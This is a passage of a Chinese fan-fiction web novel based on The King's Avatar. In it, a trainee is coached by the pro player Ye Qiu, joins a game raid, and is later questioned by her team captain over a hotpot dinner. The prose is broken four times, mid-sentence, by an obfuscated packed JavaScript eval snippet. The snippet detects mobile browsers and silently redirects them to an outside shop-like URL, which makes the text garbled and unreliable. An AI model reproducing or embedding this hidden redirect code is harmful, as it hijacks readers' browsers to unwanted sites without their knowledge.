走出体育馆,秋夜的凉风迎面吹来,带着点凉意,瞬间吹散了场馆里的燥热,让人精神一振。夏轻禾忽然停下脚步,眼珠滴溜溜转了两圈,嘴角慢慢勾起一抹狡黠的笑,眼里亮闪闪的,透着点兴奋。 “一帆!”她伸手一把拉住乔一帆的胳膊。 乔一帆猝不及防,被拉得一个趔趄,胳膊上触到温热的触感,脸“腾”地一下就红了,从耳尖红到脖颈,结结巴巴地问:“怎、怎么了,轻禾姐?” “走!带你去个地方!”夏轻禾语气神秘,眼睛亮得像藏了星星,不由分说地拉着他,就往体育馆侧后方走——那片区域,平时是不对观众开放的。 “去、去哪啊?”乔一帆被她拉着往前走,心跳莫名快了起来,一半是因为她突然的举动,一半是满心的疑惑,还有点隐约的不安,“那边好像是……选手通道和休息区吧?” “对!就是去那儿!”夏轻禾压低了声音,可语气里的兴奋藏都藏不住,拉着他拐了个弯,“我带你去见个人!” “见谁?”乔一帆更懵了,脚步下意识顿了顿,“是微草的队员吗?现在去不太好吧?他们刚输了比赛……”他还以为,夏轻禾是想去找王杰希或者方士谦。 “不是微草的!”夏轻禾摇摇头,脚步没停,熟门熟路地拐过几个拐角,避开了主要的人流和工作人员聚集的地方,竟真的摸到了客队休息室附近的后台区域。这里比外面安静多了,只有零星几个工作人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074365|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,正低头收拾着东西。 乔一帆看着周围陌生的环境,又瞥见不远处的门上,挂着清晰的“嘉世战队”标识,瞬间大惊失色,连忙压低声音拽了拽夏轻禾的衣角:“轻禾姐!这里是嘉世的休息室!我们怎么能随便进来?被发现了怎么办啊?” “放心!我认识路!”夏轻禾拍了拍胸脯,显然不是第一次干这种“闯后台”的事,动作驾轻就熟,“而且我也认识人,没事的!” 正说着,休息室的门“咔哒”一声开了,一个穿着深色西装、气质精明的中年男人走了出来,手里夹着个文件夹,眉头微蹙,似乎在琢磨着什么。 他一抬头,视线落在鬼鬼祟祟探着脑袋的夏轻禾,还有旁边一脸紧张、恨不得把自己缩成一团的乔一帆身上,愣了一下。 下一秒,男人认出了夏轻禾,脸上的疑惑散去,露出一丝意外,很快又变成了了然,嘴角还勾起点淡淡的笑意。 “小禾?你怎么跑这儿来了?”男人开口,声音里带着点商人的圆滑,却又透着熟稔,正是嘉世俱乐部的老板,陶轩。 “陶叔叔!”夏轻禾立刻扬起一个乖巧的笑,拉着依旧僵硬的乔一帆上前两步,晃了晃他的胳膊,“我来找我哥!” 陶轩自然知道她嘴里的“哥”是谁,刚赢了比赛,心情本就不错,也没计较两个微草训练生跑到嘉世地盘来的事,抬手指了指休息室里面:“在里面呢,刚和苏沐橙说着话。去吧,别待太久,别影响他们休息。”说完,他夹着文件夹,目光若有所思地扫了一眼两人,主要落在了乔一帆身上那件印着微草标志的训练营外套上,笑了笑,没再多说,转身便走了。 夏轻禾松了口气,拍了拍胸口,转头对乔一帆比了个“搞定”的手势,然后深吸一口气,伸手轻轻推开了嘉世休息室那扇虚掩着的门。 休息室里灯光通亮,气氛比外面轻松不少,赢了比赛的队员们三三两两地坐着,有的低头收拾着外设,有的凑在一起低声聊着刚才的比赛,手里还捏着矿泉水瓶。听到开门的动静,好几个人都下意识转过头来。 夏轻禾的目光飞快扫过全场,瞬间锁定了靠窗的位置。 那里,一个穿着嘉世队服外套的男人微微侧身坐着,身形修长,外套的拉链没拉到底,露出里面的黑色T恤。他旁边坐着个容貌清丽的长发女孩,同样穿着嘉世队服,正是苏沐橙。男人手里夹着根没点燃的烟,指尖轻轻转着,正低头和苏沐橙说着什么,姿态随意又放松。听到动静,他缓缓转过头来。 那是张算不得多英俊的脸,却透着股独一份的气质。眼睛不大,微微眯着,像是总没睡醒似的,带着点慵懒和随意,可仔细看,眼底深处却藏着洞悉一切的锐利,还有常年打比赛沉淀下来的沉稳。 他的目光落在门口探头探脑的夏轻禾脸上,停顿了一秒,随即,那张素来没什么表情的脸上,嘴角轻轻向上勾了勾,扯出一个极淡的笑,带着点揶揄,又满是熟稔。 下一秒,一个熟悉到骨子里的、带着点烟嗓质感的嗓音,在休息室里不急不缓地响起,漫不经心的,却精准地落在夏轻禾耳里: “哟,我当是谁呢。好久不见啊,小丫头。” 叶秋看着门口那个熟悉但是长大了许多的女孩,还有她身后那个紧张得手脚都快不知道往哪放的微草小少年,语气轻松得很,就像在自家后院碰到了串门的邻居小孩。 22.第 22 章 叶秋那句打招呼,让休息室里的其他嘉世队员也好奇地看了过来。苏沐橙眨了眨漂亮的眼睛,目光在夏轻禾和乔一帆之间转了转,最后落在叶秋身上,带着询问。 “这位是?”苏沐橙轻声问。 她以前没什么机会认识夏轻禾,自然是不熟悉她。 “哦,以前一个神枪手队员的妹妹,”叶秋把手里没点的烟夹在耳朵上,语气随意地解释道,仿佛在说一件再平常不过的小事,“叫夏轻禾。她姐夏茗,以前玩神枪手的,你应该有点印象。后来退役出国念书去了。” 苏沐橙恍然,她对夏茗这个名字有印象,而且夏茗在嘉世的时候技术也很不错。 叶秋的目光重新落回夏轻禾脸上,嘴角那点若有若无的笑意深了些:“听说你姐国庆跟天然那小子结婚了?那天正好有比赛,没来得及去讨杯喜酒。怎么,今天跑过来,是替他们兴师问罪来了?”他语气带着调侃。 “哪有!”夏轻禾连忙摆手,有点不好意思地嘿嘿笑了两声,“我姐和天然哥好着呢,不用叶哥你操心。那个……其实今天来,不是我的事啦。”她说着,侧过身,把一直努力想把自己藏在她身后、紧张得都快僵成一块木头的乔一帆给推了出来。 乔一帆完全没料到夏轻禾会来这么一下,猝不及防地被推到前面,对上叶秋那双看似慵懒实则锐利的眼睛,还有周围其他嘉世队员好奇的目光,整个人瞬间从头红到了脖子根,手脚都不知道往哪里放,嘴唇动了动,愣是没发出一个音节。 “是他的事。”夏轻禾指了指乔一帆,语气认真起来,“叶哥,你不是荣耀教科书吗?肯定什么职业都玩得特别溜吧?我们微草训练营,玩刺客的人不多,教得也……嗯,没那么细。一帆他的刺客都是自己一点点琢磨出来的,最近好像卡在瓶颈了。所以……我想着,能不能请你……指点他一下?” 她说完,期待地看着叶秋,又转头给乔一帆使眼色,小声说:“快叫人啊,一帆!” 乔一帆脑子里一片空白,听到夏轻禾的话,这才找回一点声音,结结巴巴地开口:“叶、叶秋前辈好!我、我叫乔一帆!是微草训练营的。请、请多指教!” 说完还下意识地鞠了个躬。 叶秋看着他这副紧张过度的样子,又看了看旁边一脸“拜托了叶哥”表情的夏轻禾,忍不住失笑:“行了行了,别这么紧张,我又不会吃了你。” 他走过去,拍了拍乔一帆的肩膀,力道不重,却让乔一帆绷紧的身体稍微放松了一点点。 “刺客啊……”叶秋摸了摸下巴,露出思考的神色,“行啊,反正这会儿也没别的事。账号卡带了吧?” 乔一帆用力点头:“带、带了!” “那走吧,”叶秋招呼了一声,又看向苏沐橙和其他队员,“你们先收拾,我带这两个小家伙回酒店那边,用训练机看看。反正顺路。” 苏沐橙笑着点头:“好,叶秋哥你忙。” 其他队员也没什么意见,显然对自家队长这种好为人师的偶尔兴致已经习惯了。 “陶轩那边我去说一声,”叶秋又补充道,显然不觉得带两个微草训练生回嘉世下榻的酒店是什么大不了的事,“他不会介意的。” 于是,在微草主场输掉比赛的夜晚,夏轻禾和乔一帆这两个微草训练生,就这么莫名其妙地坐上了嘉世战队的大巴车,跟着刚刚击败了他们的对手,一起前往嘉世在B市的酒店。 车上气氛不算太凝重,毕竟赢了比赛。嘉世的队员们对这两个突然出现的微草小朋友也颇感好奇,尤其是那个大胆到直接跑来“堵”叶秋的小丫头。 不过有叶秋在,也没人过多询问。夏轻禾倒是自来熟,和几个嘉世队员聊了起来。乔一帆则全程正襟危坐,怀里紧紧抱着自己的背包,里面装着他的账号卡,脑子里一片空白,感觉像在做梦。 到了酒店,叶秋果然轻车熟路地搞定了训练室的使用权限。这是一间配备了多台高性能电脑和设备的临时训练室,显然是俱乐部为客场比赛准备的。 “来吧,用你的刺客号,随便开个竞技场房间。”叶秋拉开一把椅子坐下,开机,动作娴熟地登录了一个看起来装备普通的小号,职业是战斗法师——显然是他的众多小号之一。 乔一帆深吸一口气,努力平复狂跳的心脏,也坐了下来,登录了自己的刺客账号灰月。 两人很快进入一个自定义的竞技场房间,地图选了最简单的擂台。 “不用紧张,就当是普通的练习。”叶秋的声音从旁边传来,似乎带着点安抚,“你先攻,我看看。” 乔一帆定了定神,操作着灰月进入潜行状态,开始小心翼翼地接近叶秋的战斗法师小号。他知道面对的是叶秋,任何轻举妄动都可能被瞬间抓住破绽。他选择了一个相对刁钻的切入角度,在进入攻击距离的瞬间,爆发手速,弧光闪起手,试图接背刺。 然而,叶秋的战斗法师看似随意地一个侧身滑步,战矛几乎同时递出,一招天击甩出。 角度刁钻,时机精准,正好卡在乔一帆弧光闪落地、背刺技能即将出手却还未生效的那一帧。灰月被挑飞。 “慢了零点三秒左右。”叶秋平淡地指出,“弧光闪落点可以再偏左十五度,我的天击范围会稍微够不着。或者,你可以在弧光闪中途就预判我的反击方向,提前取消接一个侧滚。” 乔一帆在空中受身落地,心里震动。这就是荣耀教科书级别的眼力和经验吗?连零点几秒的误差和角度偏差都能瞬间捕捉并给出改进方案。 接下来的几次交锋,乔一帆使出了浑身解数,试图用刺客的灵活和爆发制造机会。 他确实打得很稳,每一步都经过思考,走位谨慎,技能衔接也力求合理。但面对叶秋,他的稳似乎成了一种束缚。 叶秋的战斗法师并没有用多么华丽复杂的操作,就是最简单的基础技能,但每一次释放的时机、角度、与后续走位的衔接,都精准得可怕,总是能提前一步封住他的进攻路线,或者在他技能衔接的细微间隙给予反击。 乔一帆的灰月一次次被击倒,血量稳步下降。但他没有气馁,反而越来越专注,努力记下每一次交锋中自己暴露的问题和叶秋指出的要点。 大约打了七八场,乔一帆的灰月再一次倒下。叶秋退出了竞技场房间,靠在椅背上,手指在桌面上轻轻敲着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074366|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在整理思绪。 夏轻禾在旁边看得紧张又期待,大气不敢出。 “看出来了。”叶秋终于开口,他转向乔一帆,目光平静而直接,“你的问题,不在刺客这个职业本身的操作上。” 乔一帆一怔,疑惑地看着他。 “你的风格,偏向稳定、谨慎,注重节奏把控和细节观察,对时机有不错的嗅觉。”叶秋分析道,语气依旧平淡,却一针见血,“但刺客这个职业,尤其是你现在这种追求正面缠斗和精准刺杀的流派,更强调极致的个人手速、瞬间爆发和侵略性。你的稳,在这里反而限制了你的上限。你总在思考‘怎么打更合理’,而刺客有时候需要的是‘怎么打能最快、最突然地撕开缺口’。” 乔一帆听着,心里掀起波澜。叶秋说的,正是他最近隐约感觉到却说不清道不明的瓶颈所在!他总是想打得正确,想减少失误,却不知不觉中失去了刺客应有的那份锐利和诡谲。 “所以,”叶秋顿了顿,看着乔一帆有些茫然又若有所悟的眼睛,抛出了一个让乔一帆和旁边夏轻禾都愣住了的建议,“有没有考虑过,换个职业试试?” 换职业?乔一帆完全没想过这个可能。他从接触荣耀开始,玩的就是刺客,已经习惯了潜行、爆发、寻找机会的打法。 “比如,”叶秋似乎早已想好,继续说道,“鬼剑士。” “鬼剑士?”乔一帆下意识地重复。 “嗯,阵鬼。”叶秋点头,“鬼剑士中的阵法流派。这个职业对大局观、节奏把控、预判和细节要求很高。需要你在战场上提前布下阵法,预判对手的走位和团队动向,用各种阵法效果来限制、削弱、分割敌人,为队友创造机会。这需要冷静的头脑、精准的计算和对战局的深刻理解。我觉得,这些特质,你身上有。” 他指了指电脑屏幕:“你的刺客,在刚才的交锋中,有好几次下意识地想卡我的走位,或者试图把我逼到某个不利于我的位置,虽然因为职业特性效果不明显,但这种意识是好的。如果换成阵鬼,你的这些算计和节奏感,就能通过阵法实实在在地体现出来,成为团队战术中重要的一环。” 乔一帆彻底呆住了。换职业?从刺客转到阵鬼?这无异于将他过去几年的积累和习惯全部推翻重来。可是,叶秋的分析又如此有说服力,直指他内心的困惑和潜在的特质。 夏轻禾也瞪大了眼睛,看看叶秋,又看看陷入沉思的乔一帆。她带乔一帆来,只是想请叶秋指点一下刺客技巧,万万没想到会听到换职业这样的建议。但仔细想想叶秋的话,又觉得……好像有点道理? 房间里安静下来,只有电脑风扇轻微的嗡鸣。乔一帆低着头,看着自己握着鼠标的手,指甲因为用力而微微发白。他脑子里乱糟糟的,有对未知的恐惧,有对过去努力的不舍,但更多的,是一种被点破迷雾后、隐隐看到新可能的激动和惶恐。 换职业,意味着一切从头开始。他能行吗?阵鬼,他真的适合吗?他真的能适应吗? 乔一帆深呼吸一口气,无数个问题盘旋在心头,让这个夜晚,注定成为乔一帆职业生涯中,一个至关重要的转折点。 23.第 23 章 训练室里的安静被叶秋一声轻笑打破,他看着乔一帆脸上交织的茫然、挣扎和隐约的亮光,似乎很理解这种心情。 “别想太多,转职业这事儿,急不得。”叶秋语气缓和了些,手指在桌面上点了点,“也不是说让你现在就立刻放弃刺客,回去就把账号卡扔了。只是给你提供一个思路,一个可能更适合你发挥的方向。具体怎么选,还得你自己想清楚。” 他一边说着,一边从自己随身的那个看起来有点旧、但容量不小的卡包里翻了翻,抽出一张账号卡。 “正好,我这儿有张鬼剑士的小号,。”叶秋把账号卡拿在手里晃了晃,“玩得不多,但基本的阵鬼套路还能给你演示演示。要不要看看?” 乔一帆抬起头,看着那张普普通通的账号卡,又看看叶秋平静无波的眼睛,心里的紧张和混乱奇迹般地平息了一些。是啊,可以先试试看,感受一下。就算最后不换,能亲眼看看荣耀教科书操作鬼剑士,也是难得的学习机会。 他用力点了点头:“好!谢谢叶秋前辈!” 叶秋“嗯”了一声,将账号卡插进旁边的电脑读卡器,一边登录一边又像是想起什么,转头看向还处于“我好像捅了个大篓子但又好像帮了忙”的纠结状态的夏轻禾。 “至于你,”叶秋挑了挑眉,“正好,也让我看看你的守护天使玩得怎么样了。听你姐提过一嘴,说你被方士谦那小子捡去当徒弟了?守护天使应该也学了吧?账号卡带了没?” “带了带了!”夏轻禾立刻回过神来,连忙从自己的卡包里翻出云帆的账号卡,“叶哥你要指点我守护天使吗?太好了!” 能被叶秋指点,这可是天上掉馅饼的好事!她瞬间把乔一帆转职业的震撼抛到了脑后,满心都是对大神教学的期待。 “没问题!”夏轻禾立刻从自己的小卡包里掏出那张属于云帆的守护天使账号卡,动作麻利地插进了叶秋旁边那台空闲电脑的读卡器里。 开机,登录荣耀。 熟悉的界面载入,守护天使云帆那身银灰色板甲的身影出现在主城。夏轻禾正准备关掉那些自动弹出的系统消息和邮件,忽然,屏幕右下角的好友消息图标急促地闪烁起来。 她点开一看,是横刀发来的。 横刀:云帆妹子!在不在!急急急!十人70级团队副本“熔火之心”英雄难度开荒,我们团治疗临时有事鸽了!现在九等一,缺个主治疗!妹子你守护天使玩得那么猛,能来救场吗?报酬绝对丰厚!副本已经开了,就等治疗就位! 夏轻禾一看,是七十级的高难度团队副本,这压力可不小。她看了看时间,又看了看旁边已经登录好鬼剑士小号秋风起、正等着给乔一帆演示的叶秋,还有一脸紧张期待的乔一帆。 她犹豫了一下,回复横刀:有空是有空,但我这边……还有两个朋友,能一起吗?都是高手!保证不拖后腿!哦对,我朋友是个鬼剑士,特别厉害! 发完消息,她抬头对叶秋和乔一帆解释:“是一个网游里认识的朋友,他们团开荒高难度团队副本,缺个主治疗,问我去不去。是70级的熔火之心英雄难度。我说能带你们一起吗?我说你是鬼剑士高手。” 叶秋闻言,挑了挑眉,似乎觉得有点意思:“网游开荒?行啊,正好,让一帆也看看鬼剑士在团队副本里的实战应用。你跟他说,可以带我们。” 他顿了顿,补充道,“你就和他说,我是高手就行。” 夏轻禾:“……” 叶哥,您这自我介绍还真是简单粗暴啊。 很快,横刀回复了,语气带着点惊讶和不确定:两个朋友?都是高手?妹子你身边高手浓度是不是太高了点?位置倒是还有……鬼剑士高手?真的假的?我们团正好缺个靠谱的阵鬼辅助!行!只要不坑,我们欢迎!组你们了!快点啊,兄弟们都等着呢! 夏轻禾立刻收到了横刀的组队邀请,她点了接受,然后把队长转给了叶秋,让叶秋把乔一帆和自己都组了进去。 队伍列表里立刻出现了十个头像:队长横刀是狂剑士,队员冰火两重天是元素法师,铁拳无敌是拳法家,暗影随行是盗贼,还有其他几个输出和副治疗。以及新加入的三个——云帆,秋风起,灰月。 横刀在队伍频道打字:云帆妹子,你朋友这鬼剑士ID挺文艺啊。秋风起……希望人如其名,是个高手!灰月兄弟,也欢迎! 云帆:放心!秋风起大神,技术绝对过硬!灰月也很稳! 秋风起:嗯。 灰月:大家好。 横刀:行!信妹子你!副本里集合,走起!大家都打起精神,新来的治疗和鬼剑士据说都是高手,咱们这次争取把老一过了! 几人很快在熔火之心副本内集合。这是一个岩浆遍布、温度极高的地下洞穴,背景音乐都带着灼热和压迫感。 团队里其他人看到新加入的三人,心里都有些打鼓,但横刀作为团长发了话,他们也不好说什么。 横刀快速介绍了一下一号BOSS熔岩巨兽的机制:周期性喷发岩浆池需要躲避,点名随机玩家释放熔火烙印需要驱散或硬抗,BOSS还会召唤小熔岩元素需要快速处理,以及最重要的——BOSS进入熔火之心阶段时,会大幅提升伤害并附加全团灼烧效果。 “云帆妹子,主治疗压力就交给你了!秋风起兄弟,阵鬼的减伤阵和增伤阵看时机放,冰阵火阵控场也帮忙!灰月兄弟,输出的时候注意走位,别吃技能!”横刀分配任务。 “明白!”夏轻禾深吸一口气,操作云帆站到了横刀侧后方稍远一点的位置,既能覆盖到T,又能观察到大部分队友。 “嗯。”叶秋的秋风起站在一个相对靠中、能辐射全场的位置,手中太刀低垂。 乔一帆的灰月则寻找了一个适合刺客输出的侧翼位置,握紧了匕首。 很快他们就推到了一号BOSS熔岩巨兽的位置,BOSS发出震耳欲聋的咆哮,战斗瞬间进入白热化。岩浆喷发,火焰乱舞,小熔岩元素从地缝中钻出。 夏轻禾全神贯注,手指在键盘上飞舞。圣盾术预留给可能点名T的高伤技能,坚定意志和生命激活保证自身续航,恢复术的光芒不断在横刀和其他血量吃紧的队友身上亮起。她还要时刻注意驱散熔火烙印,这个负面效果掉血很快,不及时驱散会极大增加治疗压力。 她的治疗节奏稳健而高效,虽然紧张,但方士谦这段时间的训练成果显现出来,技能衔接流畅,预判和走位也相当到位,硬是在混乱的场面中稳住了团队血线。 而叶秋操作的鬼剑士秋风起,则展现出了另一种截然不同却同样至关重要的辅助。 他并没有急于输出,而是如同一个冷静的战场指挥官,太刀挥舞间,一个个颜色各异的鬼阵精准地落在地面上。 当BOSS释放范围岩浆喷发时,一个冰霜鬼神阵提前半秒在团队成员最集中的区域绽放,冰蓝色的光芒瞬间覆盖,范围内的队友移动速度明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098459|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提升,轻松避开了岩浆范围。 当小熔岩元素刷新,试图冲向远程治疗和输出时,一个刀阵恰到好处地落在了前排近战输出脚下,提升了他们的攻击力,配合AOE技能快速清理掉小怪。 叶秋的鬼阵释放时机和位置总是妙到毫巅。冰阵总是在队友最需要走位的时候落下,力阵总是在集火的关键时刻开启,他甚至还能用鬼斩、月光斩等技能进行精准的补刀和打断,虽然伤害不高,但每一次出手都让团队的节奏更加顺畅。 横刀一开始还担心这个新来的鬼剑士会不会手生或者跟不上节奏,但打着打着,他发现自己和整个团队都打得前所未有的舒服!该躲技能的时候有加速,该爆发的时候有增伤,该抗压的时候有回复,那些烦人的小怪和机制也被鬼阵有效地限制和化解。 “我靠!秋风起兄弟!你这鬼阵放的……神了!”横刀忍不住在团队频道惊呼,“简直跟装了雷达一样!太准了!” 团队里其他人也纷纷称赞。 夏轻禾也打得轻松了不少。有叶秋的鬼阵全方位辅助,她的治疗可以更加专注于应对突发高伤和关键驱散,团队的生存能力直线上升。 乔一帆在旁边一边输出,一边眼睛几乎舍不得离开叶秋的屏幕。他看到了鬼剑士,尤其是阵鬼,在团队中那种举足轻重却又润物细无声的作用。不需要极致的个人操作秀,只需要精准的判断、全局的视野和对战机的完美把握,就能极大地提升整个团队的战斗力。这种风格……好像真的……很适合他? 在叶秋风骚的鬼阵辅助和夏轻禾稳健的治疗下,横刀团队竟然第一次尝试,就成功地扛过了熔岩巨兽狂暴的熔火之心阶段,将BOSS的血量压到了百分之十以下! “最后阶段!所有人全力!治疗刷好!鬼剑士兄弟有什么阵都丢出来!”横刀激动地大喊。 夏轻禾操作云帆,开启生命激活,所有大治疗技能捏在手里,准备应对可能到来的最后一波猛攻。 叶秋的秋风起则在后撤半步,手中太刀扬起,一个前所未有的大型鬼阵鬼神盛宴在BOSS脚下轰然展开。 在鬼神盛宴的加持下,熔岩巨兽最后的血量如同雪崩般滑落! 终于,在一声不甘的哀嚎中,庞大的熔岩巨兽轰然倒地,爆出一地璀璨的战利品。 “过了!我们过了!”团队频道被欢呼和惊叹刷屏。这是他们开荒这个英雄难度副本以来,第一次推倒一号BOSS! 横刀激动得声音都在抖:“云帆妹子!秋风起大神!灰月兄弟!太给力了!尤其是秋风起大神!你这鬼剑士玩得,我服了!绝对是职业级水准!妹子你没骗我!” 秋风起:基本操作。 叶秋平静地打字回复,然后退出了队伍。 “走了,副本打完了,示范也看完了。”叶秋退出游戏,拔下秋风起的账号卡,看向还有些发愣的乔一帆和一脸兴奋的夏轻禾,“怎么样,一帆,鬼剑士,尤其是阵鬼,看明白点没?” 乔一帆用力点头,眼睛里的光芒前所未有的清晰和坚定:“看明白了!叶秋前辈!谢谢您!我……我会认真考虑的!” 夏轻禾也凑过来,笑嘻嘻地说:“叶哥你也太厉害了!随便玩玩就这么猛!难怪是教科书!” 叶秋笑了笑,没接这话茬,只是说:“行了,时间不早了,你们也早点回去休息。转职业的事,自己好好想。走吧,送你们出去。” “好啊,谢谢叶哥!” 24.队长拷问 微草战队在积分榜上打出了一波漂亮的连胜,尤其是主场艰难战胜蓝雨后,士气正旺。为了庆祝,队里决定大家一起去外面聚个餐,地点选在了队员们都很喜欢的一家海底捞火锅店。 夏轻禾作为被方士谦钦点带来见世面的小徒弟,自然也在受邀之列。而高英杰,则是因为近期训练表现突出,被王杰希叫上一起,算是提前感受一线队的团队氛围。 于是,两人又在火锅店的包厢里碰面了。 包厢里热气腾腾,香气四溢,巨大的圆桌几乎坐满了微草现役队员和少数几个被特别允许参加的训练营新人。大家七嘴八舌地讨论着最近的比赛,气氛热烈。 夏轻禾本来挺高兴,能和这么多前辈一起吃饭,还有美味的火锅。然而,当她看清自己的座位安排时,脸上的笑容瞬间凝固了。 她的座位,左边是她的师父方士谦,右边……竟然是队长王杰希。 高英杰的座位则在王杰希的另一边,隔着队长大人。夏轻禾原本以为高英杰会坐自己旁边,这样她还能有个伴,稍微缓解一下夹在两位大佬中间的紧张感,结果……为什么是队长啊?! 她僵着身子坐下,感觉后背开始隐隐冒汗。左边是师父,虽然平时训练时也被他气场压制,但好歹熟悉了,知道他脾性。右边是队长,那平静无波的眼神和自带的气场……夏轻禾感觉自己的筷子都快拿不稳了。 这顿饭,注定吃得不安稳。 火锅汤底沸腾,菜品陆续上桌。队员们互相招呼着下菜,聊天声、笑声、锅子的咕嘟声混在一起,很是热闹。方士谦看起来心情不错,一边和旁边的队员说着话,一边随手往锅里下了盘肥牛。 王杰希则安静许多,只是偶尔和旁边的队员低声交谈一两句,大部分时间在听,或者在锅里寻找煮好的食物。 就在夏轻禾小心翼翼地夹起一片刚煮好的毛肚,正准备蘸料时,旁边忽然传来王杰希平静的声音。因为包厢里比较吵,他的声音不大,似乎只控制在三人能听到的范围内。 “昨天和嘉世比赛结束后,听说你训练营早退了。” 夏轻禾手一抖,毛肚差点掉进调料碗里。她僵硬地转过头,对上王杰希那双没什么情绪却仿佛能洞察一切的眼睛。 王杰希像是随口一问,甚至还顺手用公筷从锅里捞起一片煮得恰到好处的牛肉,非常自然地放进了夏轻禾面前的碗里。 “去找谁了?” 夏轻禾看着碗里突然多出来的那片牛肉,又看看王杰希平静的脸,心里顿时警铃大作,这不会是自己最后一顿晚饭吧?队长知道了?他怎么会知道?是有人看到了?还是……她脑子里瞬间闪过无数个念头,紧张得差点咬到自己的舌头。 “我……我去找叶秋前辈了……”她几乎是脱口而出,说完才意识到自己说了什么,真想给自己一巴掌。怎么这么老实就说出来了! “然后呢?”王杰希继续问,语气依旧平淡。 “然后?”夏轻禾有点懵,大脑一片空白,“什么然后?” “叶秋说什么。”王杰希补充道,又夹了一筷子青菜放到自己碗里,动作不疾不徐。 “哦……然后我们就一起下了一个本来着。”夏轻禾努力组织语言,想说得轻描淡写一点。 “你们大半夜跑去找叶秋,就是为了下一个本?”一直在旁边竖着耳朵听的方士谦忍不住插话,脸上露出哭笑不得的表情,也下意识地拿起公筷,给夏轻禾碗里夹了几块虾滑,“你们这交友方式还挺别致。” 夏轻禾:“……” 她低头看着自己碗里那片来自队长的牛肉,那几块来自师父的虾滑,还有之前自己夹的毛肚和别的菜……碗里已经堆起了一座小山。而她,因为紧张,根本没吃几口。 压力山大! 她感觉自己像个被夹在教导主任和班主任中间、还被不断投喂的问题学生。 怎么办?这些菜看起来都很好吃,但她现在紧张得胃都有点抽筋了。而且,队长和师父还在等她的下文吗?她该怎么说?说叶秋前辈还指点了乔一帆,建议他转鬼剑士?这……这能说吗?乔一帆自己都还没想好呢! 她脑子飞速运转,目光瞥到了坐在王杰希另一边、同样有些拘谨但正在认真听前辈们聊天的高英杰。 一个大胆的念头冒了出来。 她深吸一口气,她端起自己那碗堆成小山的菜,身体微微前倾,小心翼翼地绕过王杰希,她能感觉到队长的目光随着她的动作移动,把碗递到了高英杰面前。 “英杰英杰,”她努力让自己的声音听起来自然一点,但带着明显的求助意味,“给你吃一点,我……我吃不下了。” 高英杰正听着旁边一个前辈讲比赛趣事,忽然看到眼前递过来一个装满食物的碗,还有夏轻禾那写满了“快救我”的眼神,整个人都愣住了。他下意识地想拒绝,但看到夏轻禾眼里的恳求,又看看她碗里那明显来自不同人的“关爱”,似乎明白了什么。 他迟疑了一下,还是把自己面前基本空了的碗递了过来,小声说:“谢谢轻禾姐。” 夏轻禾感激地看着他,赶紧把碗里大部分菜都拨到了高英杰碗里,只留下自己最初夹的那点毛肚和几片菜叶。 整个过程,她能清晰地感觉到来自左边师父带着笑意的目光,和右边队长平静但存在感极强的注视。她觉得这大概是她这辈子做过的最有勇气的事了——在队长和师父的“关爱”注视下,把他们夹的菜转送给别人。 好在,王杰希和方士谦都没有说什么。王杰希只是收回了目光,继续安静地吃自己的东西。方士谦则轻笑了一声,摇了摇头,也转回去和旁边的队员聊天了。 高英杰看着自己碗里突然多出来的一堆食物,有点不知所措,但还是默默低头吃了起来。 接下来的时间,她尽量缩小自己的存在感,埋头苦吃,再也不敢随便接队长和师父的话茬。 这顿庆祝火锅,最终还是有惊无险地吃完了。散场时,夏轻禾长舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098909|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气,感觉像是打完了一场高难度的副本。 回俱乐部的路上,她还悄悄问高英杰:“英杰,队长……后来没再说什么吧?” 高英杰摇摇头:“没有,队长后来就和方副队他们讨论战术了。” 夏轻禾这才彻底放下心来,以为这事就这么过去了。队长大概就是随口一问,没放在心上吧? 回到微草俱乐部,王杰希并没有立刻休息。他先处理了一些队内事务,然后回到自己的宿舍,打开了电脑。 登录□□,找到一个昵称是“一叶之秋”的好友——头像灰着,但王杰希知道这家伙在线隐身是常态。 他敲了一行字过去。 王不留行:夏轻禾那丫头找你了? 消息发出去,过了一会儿,对面才回复。 